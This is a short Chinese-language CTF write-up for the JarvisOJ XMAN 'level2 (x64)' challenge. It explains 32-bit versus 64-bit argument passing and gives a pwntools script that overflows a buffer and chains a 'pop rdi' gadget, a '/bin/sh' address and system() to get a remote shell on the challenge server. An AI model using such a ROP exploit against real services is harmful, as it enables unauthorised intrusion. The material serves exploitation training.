zoukankan      html  css  js  c++  java
  • [JarvisOj][XMAN]level2(x64)

    在32位程序运行中,函数参数直接压入栈中

        调用函数时栈的结构为:调用函数地址->函数的返回地址->参数n->参数n-1->···->参数1

    在64位程序运行中,参数传递需要寄存器

        64位参数传递约定:前六个参数按顺序存储在寄存器rdi, rsi, rdx, rcx, r8, r9中

        参数超过六个时,从第七个开始压入栈中

    走流程。。

    之后构造即可

    #!usr/bin/env python 
    
    # -*- coding: utf-8 -*-
    
    from pwn import  *
    
    
    
    io = remote("pwn2.jarvisoj.com",9882)
    
    sys_addr = 0x40063E
    
    bin_addr = 0x600A90    #利用ROPgadget获得
    
    rdi_ret = 0x4006B3
    
    
    
    payload = ''
    
    payload += 'a' * 0x88
    
    payload += p64(rdi_ret)
    
    payload += p64(bin_addr)
    
    payload += p64(sys_addr)
    
    
    
    io.recvline()
    
    io.sendline(payload)
    
    io.interactive()
    
    io.close()
    
  • 相关阅读:
    程序11
    程序9
    程序10
    程序8
    提示框
    程序6
    莫名其妙的“网线未连接”
    UI自动化测试笔记(2)
    UI自动化测试笔记(1)
    三年开发项目经验总结
  • 原文地址:https://www.cnblogs.com/alyx/p/9398519.html
Copyright © 2011-2022 走看看